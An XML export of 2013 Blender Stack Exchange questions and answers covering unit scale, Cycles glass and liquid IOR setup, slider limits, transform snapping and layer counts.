  <row Id="2818" PostTypeId="1" AcceptedAnswerId="2821" CreationDate="2013-09-11T12:43:47.473" Score="11" ViewCount="17043" Body="&lt;p&gt;For my current project, I've decided to use metric units. I am trying to work at the millimeter level, but when I create a new object (Cube) it's set to a one meter scale by default. How do I tell Blender that I want the default scale for all new objects in this blend file to be set to, for instance, one centimeter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the Blender units scale I didn't concern myself with this stuff, but I'm trying to be more accurate in my designs.&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="14" LastEditDate="2013-09-11T12:58:12.270" LastActivityDate="2013-09-11T13:38:19.967" Title="How do you set the scale for a specific project?" Tags="&lt;modeling&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2819" PostTypeId="2" ParentId="2793" CreationDate="2013-09-11T12:56:24.353" Score="1" Body="&lt;p&gt;Thanks for the Answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a combination of the two to produce the results I was after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using an armature I produced the initial stretch using a shape key. I then key framed the value of the shape key over time from 0 - 1 - 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then set the cache start frame of the soft body sim to the frame when the shape key was changing from 1 - 0.&lt;/p&gt;&#xA;" OwnerUserId="1261" LastActivityDate="2013-09-11T12:56:24.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2820" PostTypeId="2" ParentId="2816" CreationDate="2013-09-11T13:20:49.213" Score="3" Body="&lt;p&gt;Links are created using &lt;code&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.NodeTree.html&quot; rel=&quot;nofollow&quot;&gt;node_tree&lt;/a&gt;.&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.NodeLinks.html#bpy.types.NodeLinks.new&quot; rel=&quot;nofollow&quot;&gt;links.new&lt;/a&gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&lt;b&gt;new(&lt;/b&gt;input, output, verify_limits=True&lt;b&gt;)&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Add a node link to this node tree&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;b&gt;Parameters:&lt;/b&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;code&gt;input&lt;/code&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.NodeSocket.html#bpy.types.NodeSocket&quot; rel=&quot;nofollow&quot;&gt;NodeSocket&lt;/a&gt;, (never None)) – The input socket&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;output&lt;/code&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.NodeSocket.html#bpy.types.NodeSocket&quot; rel=&quot;nofollow&quot;&gt;NodeSocket&lt;/a&gt;, (never None)) – The output socket&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;verify_limits&lt;/code&gt; (boolean, (optional)) – Verify Limits, Remove existing links if connection limit is exceeded&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;b&gt;Returns:&lt;/b&gt; New node link&#xA;  &lt;br&gt;&#xA;  &lt;b&gt;Return type:&lt;/b&gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.NodeLink.html#bpy.types.NodeLink&quot; rel=&quot;nofollow&quot;&gt;NodeLink&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-09-11T13:52:39.330" LastActivityDate="2013-09-11T13:52:39.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2821" PostTypeId="2" ParentId="2818" CreationDate="2013-09-11T13:24:27.793" Score="8" Body="&lt;p&gt;You can set units and scale in the Properties Panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b850n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newly added cube after scaling to .01m with &lt;em&gt;Edge Info Length&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQZAT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a few settings in 3D-Views Properties-Panel (&lt;kbd&gt;N&lt;/kbd&gt;) these influence only the display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yWL5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/what-are-some-best-practices-when-modelling-with-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2313/how-can-i-use-imperial-units-when-entering-measurements/2315#2315&quot;&gt;How can I use imperial units when entering measurements?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2013-09-11T13:38:19.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2822" PostTypeId="2" ParentId="2768" CreationDate="2013-09-11T14:03:33.137" Score="1" Body="&lt;p&gt;At some point, you're going to have to perform the action &quot;select all objects to...&quot; whatever. It's going to happen.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wouldn't even be able to set which layer those objects are visible in without selecting them first so to make life a bit easier, why not select all the parts of the railing and group them with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; &lt;b&gt;or&lt;/b&gt; join them together into one mesh (which isn't the end of the world as you'll see in a moment) with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;j&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to select them all quickly, either use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+left click to lasso, &lt;kbd&gt;b&lt;/kbd&gt; for box select or &lt;kbd&gt;c&lt;/kbd&gt; to &quot;paint&quot; a selection with the circle select tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you join all those parts together, then set the material to what you want it to be for all of them, you can perform a separate on &quot;loose parts&quot; by hitting &lt;kbd&gt;p&lt;/kbd&gt; and selecting &quot;loose parts&quot;. This means that each individual part will separate out into a new object, as it was before you joined them (provided the original meshes weren't broken into pieces before you started).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still don't fancy joining the mesh together (and personally, I would, especially as it's so easy to break them apart again) then once grouped (so you can reselect them easily to do this again if needs be by selecting one of the objects then hitting &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; and selecting &quot;group&quot;), do as ideasman42 said and link their materials together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dealing with lots of objects (or lots of verts/edges/faces for that matter) can be tricky at times, but there are tools to make it easier, joining, grouping, select similar etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1264" LastActivityDate="2013-09-11T14:03:33.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2823" PostTypeId="1" AcceptedAnswerId="2824" CreationDate="2013-09-11T14:45:07.777" Score="16" ViewCount="12364" Body="&lt;p&gt;When modelling / rendering a glass with liquid inside (in Cycles), which direction do the normals for the glass only surfaces, shared glass-liquid surfaces, and liquid only surfaces point? I have looked into this myself but seem to get conflicting answers from different sources. &lt;a href=&quot;http://download.autodesk.com/us/maya/2009help/mr/shaders/architectural/images/ior-graph.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;See here for an example.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, should each of the surface types mentioned above need a separate material / IOR? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Autodesk has information about these here, but I'm not sure it applies for Cycles / path tracing:&#xA;&lt;a href=&quot;http://download.autodesk.com/us/maya/2009help/mr/shaders/architectural/arch_mtl.html#Water_and_Liquids&quot; rel=&quot;noreferrer&quot;&gt;Autodesk, normals and IOR for glass-liquid interfaces&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Blender SE has some related questions: &lt;br /&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/2558/how-to-illuminate-the-darkness-inside-glass-objects-in-cycles&quot;&gt;How to illuminate the darkness inside glass objects in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2018-03-15T18:58:51.260" Title="Liquid / glass interface IOR and normals in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="2824" PostTypeId="2" ParentId="2823" CreationDate="2013-09-11T16:57:00.677" Score="18" Body="&lt;p&gt;The answer seems to be &lt;strong&gt;yes&lt;/strong&gt;. This is a fairly commonly used technique, it works with &lt;a href=&quot;http://www.luxrender.net/forum/viewtopic.php?f=16&amp;amp;t=1645&quot; rel=&quot;nofollow noreferrer&quot;&gt;LuxRender&lt;/a&gt; and &lt;a href=&quot;http://www.yafaray.org/community/forum/viewtopic.php?f=22&amp;amp;t=4134&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yafaray&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example rendered in cycles with the normals and materials setup like the &lt;a href=&quot;http://download.autodesk.com/us/maya/2009help/mr/shaders/architectural/arch_mtl.html#Water_and_Liquids&quot; rel=&quot;nofollow noreferrer&quot;&gt;autodesk example&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Air-Glass interface (IOR = $\frac{1.5}{1} = 1.5$)&lt;/li&gt;&#xA;  &lt;li&gt;Air-Liquid interface (IOR = $\frac{1.33}{1} = 1.33$)&lt;/li&gt;&#xA;  &lt;li&gt;Glass-Liquid interface (IOR= $\frac{1.33}{1.5} = 0.8$) &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;It is evident that in the most common case of an interface with air, the IOR to use is the IOR of the media (since the IOR of air is 1.0), whereas in an interface between two different media, the situation is different. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ClRQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the basic thing to keep in mind is that the interface IOR should be equal to:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;\frac&#xA;{\textrm{IOR of medium with normals facing }\textbf{away}}&#xA;{\textrm{IOR of medium with normals facing }\textbf{towards}}&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set up the normals the other way around, (e.g. &lt;a href=&quot;http://www.yafaray.org/community/forum/viewtopic.php?f=22&amp;amp;t=4134&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) it is the opposite:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$ &#xA;\frac&#xA;{\text{IOR of medium with normals facing }\textbf{towards}}&#xA;{\text{IOR of medium with normals facing }\textbf{away}}&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the autodesk example, &lt;code&gt;Liquid&lt;/code&gt; (with an IOR of 1.33) is divided by &lt;code&gt;Glass&lt;/code&gt; (IOR of 1.5), because the normals are facing the &lt;code&gt;Glass&lt;/code&gt; medium.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1KAyI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, you do need to use separate materials and IOR values for each surface type.&#xA;Assign the materials to the appropriate faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Air to Glass material, the Air to Liquid material, and the Glass to Liquid material:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dy7ZT.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/WPfe6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/0C8Sb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-03-15T18:58:51.260" LastActivityDate="2018-03-15T18:58:51.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2825" PostTypeId="1" CreationDate="2013-09-11T17:43:21.053" Score="1" ViewCount="178" Body="&lt;p&gt;It seems that when the object is rotated in &lt;em&gt;Edit Mode&lt;/em&gt; the &quot;volume&quot; representation will sometimes change, appear and disappear and various angles and distances.  I figure there is an option somewhere that I haven't discovered but, in the meantime, does anyone know if it's possible to turn the &quot;volume&quot; display off?  It's not bad but it can be distracting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7T8i3.png&quot; alt=&quot;volume representation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-09-11T19:55:59.557" Title="Is there an option to hide/disable the &quot;volume&quot; display in edit mode?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-12T02:05:23.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="2826" PostTypeId="1" CreationDate="2013-09-11T18:06:38.507" Score="12" ViewCount="3892" Body="&lt;p&gt;Since fire/smoke is currently only supported in the internal renderer, what are some good workflow ideas for bringing fire and smoke into a cycles scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current idea seems too labor intensive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering out the Cycles frames, then duplicating the scene, setting the renderer to internal and changing all of the materials to masking alpha. Then compositing the frames together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way until volumetrics are added to cycles?&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2015-11-21T23:00:59.920" Title="What is the workflow for compositing Fire/Smoke with Cycles" Tags="&lt;cycles-render-engine&gt;&lt;workflow&gt;&lt;compositor&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2827" PostTypeId="2" ParentId="2806" CreationDate="2013-09-11T18:14:52.177" Score="1" Body="&lt;p&gt;If they are ok not being curve objects anymore, you could convert them to a mesh, and try varying degrees of remove doubles or remesh, then when you have a nice simplified version, bevel or add a bevel modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=EdkueXGDl0o&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;Converting a Text Object, Remeshing and Beveling&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="1210" LastEditDate="2013-09-12T14:10:32.917" LastActivityDate="2013-09-12T14:10:32.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2828" PostTypeId="2" ParentId="2825" CreationDate="2013-09-11T19:55:59.557" Score="2" Body="&lt;p&gt;I think your issue is related to the display camera's clipping distance. Clipping distance is basically the distance the camera can view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the settings around in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GBarw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-11T19:55:59.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2829" PostTypeId="1" AcceptedAnswerId="2847" CreationDate="2013-09-11T21:22:24.323" Score="3" ViewCount="1195" Body="&lt;p&gt;I am trying to load multiple animations, I use dope sheet editor to manage the animations. I have a couple of matrices, what I want to use bone by bone, then insert keyframe one by one. My problem is that I found no way to select the actual animation I would like to set the keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty tired of googling since I found only outdated 2.5x stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my &lt;strong&gt;question is: how to change current action on dope sheet with script&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="185" LastEditDate="2013-09-12T08:37:18.657" LastActivityDate="2015-04-30T17:18:27.667" Title="How to change the current action on dope sheet editor with script?" Tags="&lt;scripting&gt;&lt;animation&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2830" PostTypeId="2" ParentId="1879" CreationDate="2013-09-11T22:13:57.763" Score="3" Body="&lt;p&gt;There is already an addon called &lt;em&gt;API Navigator&lt;/em&gt; to explore the API.&#xA;It has to be enabeld first in the &lt;em&gt;User Preferences&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0xtMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uOkuK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-09-11T22:13:57.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2832" PostTypeId="1" AcceptedAnswerId="2833" CreationDate="2013-09-11T22:59:24.883" Score="8" ViewCount="1140" Body="&lt;p&gt;How can I allow value sliders to be set higher than certain values?&lt;br&gt;&#xA;For example, I can't slide the subsurf slider past &lt;code&gt;6&lt;/code&gt;.&lt;br&gt;&#xA;This might seem like a bit of a silly question, but it always bugged me when watching a tutorial or something and somebody said something like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;blender can't do more than 6 subdivisions, so add two modifiers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It just seems clunky to add another modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set a value slider such as the subserf setting higher than it normally goes?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3078" LastEditDate="2015-12-24T18:44:12.943" LastActivityDate="2015-12-24T18:44:12.943" Title="How can I set sliders to values outside the limits allowed by their slider?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2833" PostTypeId="2" ParentId="2832" CreationDate="2013-09-11T22:59:24.883" Score="9" Body="&lt;p&gt;The values you can enter in with the mouse are clamped to &lt;strong&gt;(soft limits)&lt;/strong&gt;, &#xA;if type your value in specifically with the keyboard you can get an increased range &lt;strong&gt;(hard limits)&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7fiOf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that once you type in a value higher than the initial soft limit, you will be able to slide the value to the next highest soft limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. for subdivide, if you type in 11 (the initial soft limit is 10), you can slide the value to 20, if you type 21, you can slide it to 30, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This applies to many such limits, not just subsurf.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-13T06:30:28.203" LastActivityDate="2013-09-13T06:30:28.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2834" PostTypeId="1" CreationDate="2013-09-11T23:05:36.903" Score="31" ViewCount="60200" Body="&lt;p&gt;My cursor is moving by every selection by large increments!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when I use Blender, I am able to select and move objects to any coordinate. Now, all of the sudden, when I select an object or mesh the selection moves by an inch or so in each direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I reset it to normal?&lt;/p&gt;&#xA;" OwnerUserId="1268" LastEditorUserId="599" LastEditDate="2013-12-05T22:46:24.800" LastActivityDate="2019-06-02T19:23:00.127" Title="Cursor is set to move by increments. how to reset to normal?" Tags="&lt;transforms&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2835" PostTypeId="2" ParentId="2834" CreationDate="2013-09-11T23:07:52.537" Score="43" Body="&lt;p&gt;It sounds like you may have accidentally enabled &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/snap.html?#transform-snap&quot; rel=&quot;noreferrer&quot;&gt;Transform Snapping&lt;/a&gt;&lt;/em&gt; (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default transform snapping will snap objects to fixed increments as they are being transformed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Transform snapping&lt;/strong&gt;:&lt;br&gt;&#xA;  The ability to snap Objects and Mesh element to various types of scene&#xA;  elements during a transformation is available by toggling the magnet&#xA;  icon (which will turn red) in the 3D view's header buttons.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Increment:&lt;/strong&gt;&lt;br&gt;&#xA;      Snap to grid points. When in Orthographic view, the snapping increment changes depending on zoom level.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can disable it by clicking the magnet icon in &lt;em&gt;3D view &gt; Header&lt;/em&gt;, or by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabled&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A6zFc.png&quot; alt=&quot;Enabled&quot; title=&quot;Enabled&quot;&gt;&#xA;Disabled&#xA; &lt;img src=&quot;https://i.stack.imgur.com/6re11.png&quot; alt=&quot;Disabled&quot; title=&quot;Disabled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Version 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/81wPq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/81wPq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2019-06-02T19:23:00.127" LastActivityDate="2019-06-02T19:23:00.127" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2836" PostTypeId="1" AcceptedAnswerId="2839" CreationDate="2013-09-11T23:40:53.833" Score="12" ViewCount="4474" Body="&lt;p&gt;Is it possible to use more than 20 Scene layers or Render layers in Blender?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-05-07T14:08:18.917" LastActivityDate="2017-04-20T15:00:40.647" Title="Is it possible to use more than 20 layers?" Tags="&lt;render-layers&gt;&lt;layers&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2837" PostTypeId="1" CreationDate="2013-09-11T23:47:09.887" Score="5" ViewCount="641" Body="&lt;p&gt;1&amp;thinsp;BU &amp;times;1&amp;thinsp;BU plane, 10 levels of Subdivision Surface modifier set to &lt;a href=&quot;http://en.wikipedia.org/wiki/Catmull%E2%80%93Clark_subdivision_surface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Catmull-Clark&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pA6Xd.png&quot; alt=&quot;Image of a plane with Catmull-Clark subdivision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Mathematically, what's the limit surface of a Catmull-Clark subdivision?)&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2014-01-27T19:45:48.660" Title="To what plane curve does a Catmull-Clark subdivision converge?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2838" PostTypeId="1" AcceptedAnswerId="2840" CreationDate="2013-09-12T01:50:40.427" Score="11" ViewCount="10125" Body="&lt;p&gt;Is it possible to easily create a rounded wireframe mesh in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Skin modifier works well, but it's too heavy for even medium meshes; it takes several minuets with the default Suzanne. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a wireframe object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;em&gt;&gt; wireframe&lt;/em&gt;, but each &quot;edge&quot; has only three faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the trick with subsurf and loopcuts, but manually adding loopcuts will be tedious for anything larger than a cube.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The &lt;em&gt;Crease&lt;/em&gt; option works okay, but it creates these pointed corners:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m5bpF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to avoid this so it looks more rounded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison here are the Loopcut and Skin techniques: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FmqFy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FmqFyb.png&quot; alt=&quot;Loopcut&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/YQQ5Y.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQQ5Yb.png&quot; alt=&quot;Skin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-12T20:39:27.060" LastActivityDate="2019-07-10T03:20:04.567" Title="Create a rounded wireframe?" Tags="&lt;modeling&gt;&lt;wireframe&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2839" PostTypeId="2" ParentId="2836" CreationDate="2013-09-12T02:55:20.497" Score="10" Body="&lt;p&gt;No. A &lt;code&gt;Scene&lt;/code&gt; object only contains &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Scene.html#bpy.types.Scene.layers&quot;&gt;exactly&lt;/a&gt;  20 layers, no more, no less. But if you mean render layers, the upper limit is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.RenderLayers.html#bpy.types.RenderLayers.active_index&quot;&gt;32768&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-12T02:59:25.437" LastActivityDate="2013-09-12T02:59:25.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
